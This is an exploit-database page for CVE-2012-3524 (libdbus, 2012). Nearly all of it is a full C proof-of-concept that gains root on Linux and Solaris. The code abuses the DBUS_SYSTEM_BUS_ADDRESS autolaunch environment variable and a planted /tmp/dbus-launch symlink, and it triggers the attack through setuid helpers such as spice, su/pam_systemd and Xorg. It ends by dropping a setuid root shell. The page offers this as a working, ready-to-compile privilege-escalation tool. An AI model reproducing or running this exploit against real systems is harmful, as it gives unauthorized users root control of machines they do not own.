libdbus 'DBUS_SYSTEM_BUS_ADDRESS' Local Privilege Escalation



EKU-ID: 2638 CVE: 2012-3524 OSVDB-ID:
Author: Sebastian Krahmer Published: 2012-09-17 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/* dzug.c CVE-2012-3524 PoC (C) 2012 Sebastian Krahmer
 *
 * Trivial non-dbus root exploit. (Yes, it is 2012!)
 *
 * The underlying bug (insecure getenv() by default) has been
 * reported ages ago, but nobody really cared. Unless you have an
 * exploit...
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/stat.h>


int main(int argc, char **argv)
{
 int i = 0;
 struct stat st;
 pid_t pid = 0;
 char *env[] = {
     "PATH=/tmp:/usr/bin:/usr/sbin:/sbin:/bin",
     "DBUS_STARTER_BUS_TYPE=system",
     "DBUS_SYSTEM_BUS_ADDRESS=autolaunch:",
     NULL,
     NULL
 };


 /* the pam_systemd vector */
 char *su[] = {"/bin/su", NULL, "blah", NULL};

 /* the spice vector */
 char *spice[] = {"/usr/libexec/spice-gtk-x86_64/spice-client-glib-usb-acl-helper", NULL};

 /* the Xorg vector, for older Linux dists and Solaris */
 char *xorg[] = {"/usr/bin/Xorg", ":7350", NULL};

 char **a = xorg;
 char *dbus[] = {"/tmp/dbus-launch", NULL};
 char *sh[] = {"/bin/bash", "--noprofile", "--norc", NULL};
 char me[0x1000];

 if (geteuid() == 0 && argc > 1) {
  chown("/tmp/dbus-launch", 0, 0);
  chmod("/tmp/dbus-launch", 04755);
  exit(errno);
 } else if (geteuid() == 0) {
  setuid(0);
  execve(*sh, sh, NULL);
  return errno;
 }

 printf("[**] CVE-2012-3524 xSports -- this is not a dbus exploit!\n\n[*] Preparing ...\n");
 memset(me, 0, sizeof(me));

 if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0) {
  /* Solaris */
  readlink("/proc/self/path/a.out", me, sizeof(me) - 1);
 }
 symlink(me, "/tmp/dbus-launch");

 if (stat(spice[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000) {
   printf("[+] Using spice helper ...\n");
   a = spice;
  }
 } else if (stat("/lib64/security/pam_systemd.so", &st) == 0) {
  printf("[+] Using pam_systemd helper (type user passwd when asked) ...\n");
  env[3] = "DISPLAY=:7350";
  su[1] = getenv("USER");
  a = su;
 } else if (stat(xorg[0], &st) == 0) {
  if ((st.st_mode & 04000) == 04000)
   printf("[+] Using Xorg helper ...\n");
  else {
   printf("[-] No suitable suid helper found.\n");
   exit(0);
  }
 } else {
  printf("[-] No suitable suid helper found.\n");
  exit(0);
 }

 if ((pid = fork()) == 0) {
  execve(*a, a, env);
  exit(0);
 }

 printf("[*] Waiting 10s for dbus-launch to drop boomshell.\n");

 for (i = 0; i < 10; ++i) {
  sleep(1);
  printf("."); fflush(stdout);
 }
 kill(pid, SIGKILL);
 waitpid(pid, NULL, 0);

 for (;;) {
  stat(*dbus, &st);
  if ((st.st_mode & 04755) == 04755)
   break;
  sleep(1);
 }
 printf("\n[!] Hurra!\n");

 execve(*dbus, dbus, NULL);
 return errno;
}